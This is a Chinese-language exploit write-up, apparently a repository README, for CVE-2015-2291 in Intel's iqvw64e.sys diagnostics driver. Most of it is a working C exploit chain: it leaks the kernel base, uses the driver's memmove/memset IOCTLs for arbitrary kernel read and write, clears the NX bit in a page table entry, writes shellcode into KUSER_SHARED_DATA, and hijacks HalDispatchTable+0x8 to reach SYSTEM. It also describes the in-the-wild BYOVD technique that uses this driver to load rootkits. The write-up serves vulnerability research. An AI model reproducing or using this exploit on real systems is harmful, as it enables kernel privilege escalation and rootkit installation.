
(1) 版本低于 1.3.1.0 的 IQVW32.sys 和 (2) 版本低于 1.3.1.0 的 IQVW64.sys(位于 Windows 版 Intel 以太网诊断驱动程序中)允许本地用户通过特制的 (a) 0x80862013、(b) 0x8086200B、(c) 0x8086200F 或 (d) 0x80862007 IOCTL 调用导致拒绝服务,或可能以内核权限执行任意代码。
本仓库包含针对该漏洞的分析文章,以及可在 64 位 Windows 7 SP1 和 Windows 10 20H2 上运行的概念验证(PoC)漏洞利用代码。驱动程序文件位于 Driver Files 目录中。如果你在文章中发现了任何拼写错误,或者希望某些细节有更详细的描述,请在该仓库上创建一个 issue!我会尽快修复。
专门为这个设备驱动程序编写漏洞利用的动机,仅仅是因为它目前正在野外被滥用来加载攻击者的未签名 rootkit。恶意软件通过使用 BYOVD(自带易受攻击驱动程序)方法,可以检查自己是否以提升的权限运行,放置一份易受攻击设备驱动程序的副本,加载该驱动程序,然后利用它获得内核代码执行能力以加载 rootkit。我未能成功对恶意软件样本进行逆向工程,因此我决定自己动手创建这个漏洞利用程序。
在野外发现的样本: https://bazaar.abuse.ch/sample/84ed7fec67de5621806dbb43af5167a5fc60ab7f2403448519dc0eca2b8f9022/ https://bazaar.abuse.ch/sample/0925b8985b19d7925d68186d666b0050a4cb3f2a577d64765d770a57a2eab9ae/ https://bazaar.abuse.ch/sample/e8b7f42d544fe8b954c4021315cff2fdd44d67d11704009cdf3037d34e0c0a93/
该设备驱动程序,即 iqvw64e.sys,是一款用于执行网络适配器诊断的驱动程序。它通过暴露几个 IO 控制码(也称为 IOCTL),允许用户态组件与设备驱动程序交互以执行大量内核例程,并且在交互过程中,用户输入缓冲区中会提供一个“子”IO 控制码。用于触发易受攻击代码路径的 IO 控制码是 0x80862007。除了主控制码之外,本分析还将涉及上述“子”IO 控制码:用于触发 memmove 函数调用的 0x33 代码,以及用于触发 memset 函数调用代码路径的 0x30 代码。本文不会涉及 DriverEntry 例程的任何细节,因为 Microsoft 文档页面上已有足够的资料,可以为你提供透彻的解释。
首先,我们要弄清楚如何与该设备驱动程序进行交互。与设备驱动程序通信的最常见方式是通过名为 DeviceIoControl 的函数。该函数的基本思想是:我们可以传入由 CreateFileA 创建的有效驱动程序句柄,传入一个与我们想要的内核例程对应的 IO 控制码,传入一个它所期望的结构(或缓冲区),然后它会在我们的输出缓冲区中返回数据。虽然这类例程有时可能是必要的(例如为了超频而访问模型特定寄存器),但它们也会对安全构成严重风险。但是……怎么构成的呢?
就 CVE-2015-2291 而言,该漏洞可由非特权用户触发。由于不存在任何清理检查,并且利用该漏洞 不 需要管理员权限,因此存在安全风险。这两个缺陷的根源在于,攻击者能够完全控制 IO 控制码接口暴露的 memset 和 memmove 函数调用。还记得之前提到的 DeviceIoControl 函数吗?我们能够传入一个将在内核例程中使用的结构。所有环节就是这样串联起来的。
让我们退一步来看。首先,我们需要获取与易受攻击设备驱动程序相关的驱动程序句柄。但在此之前,我们需要找到对应的命名设备对象。这些对象通过符号链接(通常是硬编码的)暴露给用户空间,可以使用 SysInternals 套件中的 WinObj 找到它们。虽然我们可以使用字符串转储工具来转储符号链接,或者对设备驱动程序进行逆向工程,但我只是加载了设备驱动程序,然后用 WinObj 找到了它。找到的与该设备驱动程序相关的符号链接是 \\.\GLOBALROOT\Device\Nal。要获取驱动程序句柄,我们需要调用 CreateFileA 函数,让它返回一个有效的驱动程序句柄,以便我们稍后在该过程中使用。此过程的代码如下:```C
if (h_nal == (HANDLE)-1)
{
printf("\n[-] Unable to obtain a driver handle to the Nal device driver. Error: %d (0x%x)", GetLastError(), GetLastError());
unused = getchar();
return 1;
}
printf("\n[+] Obtained a driver handle to the Nal device driver. Handle Value: 0x%p", h_nal);
在后续的利用过程中,我们将使用驱动程序句柄。现在,我们将开始准备我们的漏洞利用程序。下一步是使用 [LoadLibraryA](https://docs.microsoft.com/en-us/windows/win32/api/libloaderapi/nf-libloaderapi-loadlibrarya) 函数加载 `ntdll.dll` 库,以返回一个 [模块句柄](https://docs.microsoft.com/en-us/windows/win32/winprog/windows-data-types),这样我们就可以动态定位我们需要的函数。尽管 `ntdll.dll` 库可能已经加载到我们的进程中,但我们仍然需要获得一个可用的库句柄。我们用于漏洞利用的函数包括 [NtQuerySystemInformation](https://docs.microsoft.com/en-us/windows/win32/api/winternl/nf-winternl-ntquerysysteminformation)(用于在后续利用过程中泄漏 NT 内核的基址(具有中等进程完整性))和 [NtQueryIntervalProfile](http://undocumented.ntinternals.net/index.html?page=UserMode%2FUndocumented%20Functions%2FNT%20Objects%2FProfile%2FNtQueryIntervalProfile.html)(用于触发漏洞)。至于加载 `ntdll.dll` 库的代码,如下所示:```C
h_ntdll = LoadLibraryA("C:\\Windows\\System32\\ntdll.dll");
if (!h_ntdll)
{
printf("\n[-] Failed to load the \"ntdll.dll\" API library. Error: %d (0x%x)", GetLastError(), GetLastError());
unused = getchar();
return 0;
}
printf("\n[+] Loaded the \"ntdll.dll\" API library. Handle Value: 0x%p", h_ntdll);
现在我们已经获得了库的句柄,接下来将从定位 NtQueryIntervalProfile 函数开始。首先,由于该函数未公开文档化,我们需要为此函数定义一个类型。虽然你可以在网上找到该类型定义,但为了便于访问,我在这里已经提供了它:```C
typedef unsigned int(__stdcall* NtQueryIntervalProfile)(
unsigned int ProfileSource,
PULONG Interval
);
要使用这个函数,我们还需要使用 `NtQueryIntervalProfile` 类型声明一个变量(局部或全局,由你决定)。现在,我们如何把这个变量变成实际可用的函数?为此,我们将使用名为 [GetProcAddress](https://docs.microsoft.com/en-us/windows/win32/api/libloaderapi/nf-libloaderapi-getprocaddress) 的函数。通过传入我们要搜索的模块的句柄(第一个参数)并传入函数名称(第二个参数),我们就能在模块中找到任何我们想要的函数,并获得指向该函数的指针!提供了代码来帮助你处理这些信息。```C
_NtQueryIntervalProfile = (NtQueryIntervalProfile)GetProcAddress(h_ntdll, "NtQueryIntervalProfile");
if (!_NtQueryIntervalProfile)
{
printf("\n[-] Failed to locate the \"NtQueryIntervalProfile\" function. Error: %d (0x%x)", GetLastError(), GetLastError());
unused = getchar();
return 1;
}
printf("\n[+] Located the \"NtQueryIntervalProfile\" function. Function Address: 0x%p", _NtQueryIntervalProfile);
动态加载函数以及使用它们的能力之所以有效,是因为函数本身是指向可执行代码的指针。函数的实际主体是将要执行的代码。
现在我们已经解析了 NtQueryIntervalProfile 函数指针,但仍然需要获取 NtQuerySystemInformation 函数的地址。与此前一样,我们需要这个函数的类型定义,并且还需要声明一个变量来调用该函数。同样如前所述,为了方便访问,我提供了类型定义。```C
typedef NTSTATUS(WINAPI* NtQuerySystemInformation)(
SYSTEM_INFORMATION_CLASS SystemInformationClass,
PVOID SystemInformation,
ULONG SystemInformationLength,
PULONG ReturnLength
);
同样地,和之前一样,我们需要定位该函数。之前对 `GetProcAddress` 的调用与这次调用之间的唯一区别在于我们正在查找的函数。我们可以复制该函数并更改第二个参数,以查找我们的第二个函数。代码编写完成后,我们应得到类似如下的内容:```C
_NtQuerySystemInformation = (NtQuerySystemInformation)GetProcAddress(h_ntdll, "NtQuerySystemInformation");
if (!_NtQuerySystemInformation)
{
printf("\n[-] Failed to locate the \"NtQuerySystemInformation\" function. Error: %d (0x%x)", GetLastError(), GetLastError());
unused = getchar();
return 0;
}
printf("\n[+] Located the \"NtQuerySystemInformation\" function. Function Address: 0x%p", _NtQuerySystemInformation);
完美!我们已经找到了所有需要的缺失函数。现在,我们需要泄露 NT 内核基址。借助 NtQuerySystemInformation,我们可以创建一个查询,返回当前加载的所有设备驱动程序的基址和其他信息。NtQuerySystemInformation 函数的第一个参数是一个枚举,具体来说是一个未公开文档化的枚举。该枚举是 SystemModuleInformation,其对应的值为 0xB。然后,我们需要传入一个指向其中一个返回结构的指针。所需的结构和枚举如下所示,由 FuzzySecurity (@b33f) 提供:```C
typedef enum _SYSTEM_INFORMATION_CLASS {
SystemModuleInformation = 0xB,
} SYSTEM_INFORMATION_CLASS;
typedef struct SYSTEM_MODULE { ULONG Reserved1; ULONG Reserved2; ULONG Reserved3; PVOID ImageBaseAddress; ULONG ImageSize; ULONG Flags; WORD Id; WORD Rank; WORD LoadCount; WORD NameOffset; CHAR Name[256]; } SYSTEM_MODULE, * PSYSTEM_MODULE;
typedef struct SYSTEM_MODULE_INFORMATION { ULONG ModulesCount; SYSTEM_MODULE Modules[1]; } SYSTEM_MODULE_INFORMATION, * PSYSTEM_MODULE_INFORMATION;
但是等等,还有更多内容!我们需要指定要分配的结构体大小。由于结构体的大小会根据要检索信息的设备驱动程序的数量而变化,因此我们需要调用该函数两次;第一次函数调用用于获取结构体的预期大小,第二次函数调用用于检索信息并将其存储到我们的结构体中。要获取大小,请在第一个参数中使用前面提到的 `SystemModuleInformation` 枚举,传入一个指向存储结构体大小的变量的指针,并在其余剩余参数中传入 `0`(或 `NULL`)。代码应如下所示:```C
_NtQuerySystemInformation(SystemModuleInformation, 0, 0, &return_length);
很简单!我们已经成功获取了预期结构的大小。现在,我们需要为将存储信息的变量分配内存。通过一个名为 VirtualAlloc 的函数,我们可以在我们提供的任意地址、以我们想要的任意大小、使用我们自己设置的保护属性来分配栈内存,并返回指向该内存的指针。就我们的目的而言,我们不需要在固定地址分配这块内存,因此我们将传入 0,让内存管理器为我们选择内存中的位置。此外,我们还需要以 NtQuerySystemInformation 返回的大小来分配一块栈内存,这就是为什么我们必须存储该值。至于分配类型和保护参数,只需使用下面代码中显示的通用参数即可。```C
module_info = (PSYSTEM_MODULE_INFORMATION)VirtualAlloc(0, return_length, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
既然我们已经为返回的结构分配了栈内存,现在就可以查询系统模块信息,并获取一个包含每个已加载设备驱动程序信息的结构。为此,我们可以复用之前对 `NtQuerySystemInformation` 的函数调用,并传入指向该结构的指针(第二个参数)以及该结构的大小(第三个参数)。现在,你是否得到了类似这样的结果?```C
status = _NtQuerySystemInformation(SystemModuleInformation, module_info, return_length, &return_length);
if (status)
{
printf("\n[-] Failed to query system module information. NTSTATUS: %d (0x%x)", status, status);
unused = getchar();
return 0;
}
printf("\n[+] Queried system module information.");
嗯,我希望你也有类似的东西。要泄露 NT 内核基地址,我们只需查询我们的结构体即可!在这种情形下,你不需要将字符串与驱动名称进行比较,因为 NT 内核驱动信息始终位于该结构体的索引 0 处。要获取某个驱动程序的基地址,直接打印、存储或返回 ImageBaseAddress 结构体字段的值即可。另外,在使用该指针之前,确保它不是 NULL 也是一种良好的实践。```C
if (module_info)
{
printf("\n[+] Leaked the NT kernel base address. Kernel Base Address: 0x%p", module_info->Modules[0].ImageBaseAddress);
return (unsigned long long)module_info->Modules[0].ImageBaseAddress;
}
printf("\n[-] Failed to leak the NT kernel base address."); unused = getchar(); return 0;
我们已成功获取内核基址。现在,在开始利用此漏洞之前,还有一步要做。我们需要创建一个 `QWORD`(64 位整数)指针,用于存储我们的 [PTE(页表项)](https://en.wikipedia.org/wiki/Page_table),并使用 `VirtualAlloc` 为其分配栈内存。PTE 将在本文后面部分进行介绍。
如前所述,我们将使用 `VirtualAlloc` 分配内存,并返回指向该内存块的指针。我的漏洞利用程序中使用的代码如下:```C
pte_address = (long long*)VirtualAlloc(0, 8, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (!pte_address)
{
printf("\n[-] Failed to allocate stack memory for the leaked page table entry base address pointer. Error: %d (0x%x)", GetLastError(), GetLastError());
unused = getchar();
return 1;
}
printf("\n[+] Allocated stack memory for the leaked page table entry base address pointer. Stack Memory Address: 0x%p", (long long*)pte_address);
现在设置过程的最后一步已完成,让我们开始利用过程吧!
正如论文前面部分所提到的,我们想要使用的 IO 控制码是 IOCTL 0x80862007。但是,我们要如何传入这些“子”IOCTL 呢?

指向我们传递给设备驱动程序的用户态输入的指针存储在 rcx 寄存器中。正如我们在该图中看到的,我们注意到它只是解引用了传入结构体中第一个 QWORD 位置的值。然后,它对该值执行 switch-case 判断。

浏览反编译的伪代码,我们发现了两个例程,它们分别允许我们控制 memset 和 memmove 的全部三个参数。通过将 0x30 作为结构体中的第一个 QWORD 传入,我们可以命中 memset 代码路径。或者,通过将 0x33 作为结构体中的第一个 QWORD 传入,我们则命中 memmove 代码路径。这两条代码路径分别如下图所示。

通过观察所使用的输入缓冲区偏移量,我们能够为这两个函数创建传入用的结构体,以便于阅读。请注意,有一个 QWORD 字段被用作填充。虽然我们不会为它设置任何值,但为了确保我们的结构体定义正确,我们需要这个字段。此外,请注意调用这些例程时所使用的参数。在逆向工程过程中,我们了解到传入的参数与其各自的函数定义顺序正确。下面也提供了表明这一点的图示。
memset 代码路径的输入结构体:```C
typedef struct _MEMSET_INPUT_BUFFER
{
unsigned long long JumpTableCode; // Offset: 0x0 (0)
unsigned long long Padding1; // Offset: 0x8 (8)
unsigned long long Value; // Offset: 0x10 (16)
unsigned long long Destination; // Offset: 0x18 (24)
unsigned long long Length; // Offset: 0x20 (32)
} MEMSET_INPUT_BUFFER, * PMEMSET_INPUT_BUFFER;
`memmove` 代码路径的输入结构:```C
typedef struct _MEMMOVE_INPUT_BUFFER
{
unsigned long long JumpTableCode; // Offset: 0x0 (0)
unsigned long long Padding1; // Offset: 0x8 (8)
unsigned long long* Source; // Offset: 0x10 (16)
unsigned long long* Destination; // Offset: 0x18 (24)
unsigned long long Length; // Offset: 0x20 (32)
} MEMMOVE_INPUT_BUFFER, * PMEMMOVE_INPUT_BUFFER;

经过快速分析,可以断定这些将为我们提供任意内核读写利用原语。这使得在 Windows 10 上进行利用非常理想,因为我们无需将任何利用原语转换为任意读写,从而可以轻松利用此漏洞。
首先,我们将使用 memmove 利用原语来读取 nt!MiGetPteAddress+0x13 内核函数地址处的内容。在该函数的此偏移处,我们发现有一个任意值。结合我们漏洞利用中可以执行的其他操作,我们可以计算出所有 PTE 的基地址!还记得我们之前创建的 pte_address 变量吗?或者,您还记得 NT 内核基地址的泄露吗?前面讨论的所有漏洞利用准备工作使这一切成为可能。计算所有 PTE 基地址的代码如下所示。请注意 KUSER_SHARED_DATA 地址,因为在 Windows 10 20H2 中,它是内核中最后少数几个未受内核 ASLR(地址空间布局随机化) 影响的内存区域之一。
```C
unsigned long long kuser_shared_data_loc = 0xFFFFF78000000050;
current_pte_address = kuser_shared_data_loc >> 9;
current_pte_address &= 0x7FFFFFFFF8;
memmove_input_struct.JumpTableCode = 0x33; memmove_input_struct.Source = nt_base_address + MI_GET_PTE_ADDRESS_PLUS_0X13_OFFSET; memmove_input_struct.Destination = pte_address; memmove_input_struct.Length = 0x8;
DeviceIoControl(h_nal, TARGET_IOCTL, &memmove_input_struct, sizeof(memmove_input_struct), &output, sizeof(output), &bytes_returned, 0); current_pte_address += pte_address; printf("\n[+] Calculated page table entry address. Page Table Entry Address: 0x%p", (unsigned long long)current_pte_address);
既然我们已经计算了目标页面PTE的基地址,我们希望解引用该地址并检索页面条目正在使用的位。我们稍后将需要这些数据来将该内存区域更改为可读、可写和可执行。我们已经将结构中的`source`地址修改为指向我们的PTE地址,并将`destination`字段改为指向一个栈变量以存储检索到的位,而不更改输入结构中的任何其他字段。```C
unsigned long long current_pte_contents = 0;
memmove_input_struct.Source = current_pte_address;
memmove_input_struct.Destination = ¤t_pte_contents;
DeviceIoControl(h_nal, TARGET_IOCTL, &memmove_input_struct, sizeof(memmove_input_struct), &output, sizeof(output), &bytes_returned, 0);
printf("\n[+] Dereferenced page table entry address. Page Table Entry Bits: 0x%llx", current_pte_contents);
现在我们已经获得了实际 PTE 的位内容,我们希望将其标记为可执行,而不翻转其他位的开或关。为此,我们需要清除所获取值中的最高位,以移除 NX(禁止执行)位。幸好,我们可以对存储的值执行按位 AND 运算,将 0x0FFFFFFFFFFFFFFF 与该值进行 AND 操作即可完成此任务。然后,我们将利用任意写原语触发对内核地址的一次写入,以覆盖存储在 PTE 地址处的值。至于我们的结构,我们将修改 source 结构字段,使其指向我们存储的位,并将 destination 改为指回 PTE 地址。这本质上与获取 PTE 地址时的顺序相反。下面的代码片段演示了这一过程。```C
current_pte_contents &= 0x0FFFFFFFFFFFFFFF;
memmove_input_struct.Source = ¤t_pte_contents;
memmove_input_struct.Destination = current_pte_address;
DeviceIoControl(h_nal, TARGET_IOCTL, &memmove_input_struct, sizeof(memmove_input_struct), &output, sizeof(output), &bytes_returned, 0);
printf("\n[+] Marked the page table entry as executable. New Page Table Entry Bits: 0x%llx", current_pte_contents);
在继续之前,我们需要确认 PTE 的内容已被覆盖。如果位覆盖失败,机器将会崩溃(出现 `KERNEL_SECURITY_CHECK_FAILURE` 或等效的 bug check)。为了验证这一点,我们将使用 [WinDbg](https://docs.microsoft.com/en-us/windows-hardware/drivers/debugger/debugger-download-tools) 中的 `!pte` 命令来确认覆盖操作按预期生效。

检查 PTE 位后,我们可以看到 NX 位已不再存在!这意味着内存中的 `KUSER_SHARED_DATA` 区域现在可执行了。既然我们在处理这块内存区域,那么将内核 payload 放置在该区域内显然是合理的。对这块内存进行分析后,我们得知在 `KUSER_SHARED_DATA` 区域基址偏移 `0x50` 处是空闲内存。这是放置我们 payload 的理想位置!

还记得之前我们提到的 `memset` 写入原语吗?使用这个原语,我们可以遍历内核 payload 中的所有字节,并利用 `memset` 将每一个字节写入这个内存区域。虽然也可以使用 `memmove` 将 payload 写入该位置,但我们想找个理由同时使用这两种原语,以演示在完全控制的情况下如何滥用其中之一。我们将使用 `0x30` 跳转代码来触发 `memset` 代码路径,要写入的长度为 `0x1` 字节。`destination` 需要递增 1 以指向空闲内存的下一个字节,内核 payload 的偏移量也同步递增。下面提供的 `for` 循环可以演示这一过程。```C
for (int i = 0; i < sizeof(shellcode); i++)
{
memset_input_struct.Destination = kuser_shared_data_loc + i;
memset_input_struct.Value = shellcode[i];
DeviceIoControl(h_nal, TARGET_IOCTL, &memset_input_struct, sizeof(memset_input_struct), &output, sizeof(output), &bytes_returned, 0);
}
printf("\n[+] Wrote kernel payload at address 0x%llx.", kuser_shared_data_loc);
虽然多次触发漏洞可能会导致机器崩溃,但这里是个例外,因为设备驱动程序及其(被)滥用的例程整体上很稳定。在下一步中,我们要取回存储在 nt!HalDispatchTable+0x8 的原始函数指针。这个取回的函数指针将在恢复步骤中使用,并防止我们的机器因访问不正确的函数指针而随机崩溃。虽然这一步在 Windows 7 上不太重要,因为我们的载荷执行函数不会被频繁调用,但在 Windows 10 的后续版本中,它的使用率有所增加。和往常一样,我们将再次滥用读取原语,把返回的指针存储到栈上的局部变量中。我们还会再次使用已泄露的 NT 内核基址,这次将其与到 nt!HalDispatchTable 的偏移量配对,并另加 0x8 的偏移量。```C
memmove_input_struct.Source = nt_base_address + HAL_DISPATCH_TABLE_PLUS_0X8_OFFSET;
memmove_input_struct.Destination = &recovery_address;
DeviceIoControl(h_nal, TARGET_IOCTL, &memmove_input_struct, sizeof(memmove_input_struct), &output, sizeof(output), &bytes_returned, 0);
printf("\n[+] Retrieved the recovery address. Recovery Address: 0x%llx", recovery_address);
只需再完成几步即可!在我们成功地将原始指针存储到调度表中之后,现在是时候用我们的 `KUSER_SHARED_DATA+0x50` 地址覆盖同一个指针了,该地址将转换为 `0xFFFFF78000000050`。此时,一切准备就绪,我们可以随时 root 系统!只需将指针覆盖的 source 改为原先的 `destination`,并将指向包含我们地址的局部变量的指针传递给 `source` 字段。```C
memmove_input_struct.Destination = nt_base_address + HAL_DISPATCH_TABLE_PLUS_0X8_OFFSET;
memmove_input_struct.Source = &kuser_shared_data_loc;
DeviceIoControl(h_nal, TARGET_IOCTL, &memmove_input_struct, sizeof(memmove_input_struct), &output, sizeof(output), &bytes_returned, 0);
printf("\n[+] Overwrote an arbitrary kernel function pointer located in the \"HalDispatchTable+0x8\" function table.\n[!] Executing kernel payload...");
_NtQueryIntervalProfile(2, &interval);
The NtQueryIntervalProfile function is known for using pointers from the HAL dispatch table, specifically the 0x8 offset, and it is commonly abused for this reason. With the ability to arbitrarily write to kernel memory, this is one of the easiest exploitation techniques there are! At this point in our exploit, we have nt authority\system privileges, but we want to do just one last step before spawning our beautiful shell: clean-up and recovery.
This will be bundled into one step, as they are both simple. We will be using both arbitrary write primitives one last time. To start, we will begin by removing all of our shellcode from kernel space. This is an easy task, as we can use the same for loop to iterate through the length of our payload. This time, we will be overwriting the memory with zeros instead, exactly how it was prior to our exploit execution.```C
for (int i = 0; i < sizeof(shellcode); i++)
{
memset_input_struct.Destination = kuser_shared_data_loc + i;
memset_input_struct.Value = 0;
DeviceIoControl(h_nal, TARGET_IOCTL, &memset_input_struct, sizeof(memset_input_struct), &output, sizeof(output), &bytes_returned, 0);
}
printf("\n[+] Removed the kernel payload from kernel memory.");
我认为无需进一步解释 `for` 循环迭代了。恢复过程(以及一般的利用过程)中的最后一步是恢复 `nt!HalDispatchTable+0x8` 处的原始函数指针。使用最初用于覆盖 `nt!HalDispatchTable` 中众多指针之一的 `memmove` 结构数据,我们只需修改 `source` 字段,传入指向原始地址的指针。和之前一样,我认为这部分也不需要再解释(如果你能数清我重复了多少次,给你 $1!)。```C
memmove_input_struct.Source = &recovery_address;
DeviceIoControl(h_nal, TARGET_IOCTL, &memmove_input_struct, sizeof(memmove_input_struct), &output, sizeof(output), &bytes_returned, 0);
printf("\n[+] Restored the original function pointer.");
And now, you get to have your fun. Spawn that system shell!

总的来说,利用这个漏洞非常有趣。利用过程并没有我想象的那么复杂。它还让我对 PTE 操作更加得心应手,并让我创建了第一个不滥用 HackSys Extreme Vulnerable Driver 的本地权限提升漏洞利用程序!希望很快能再见到大家。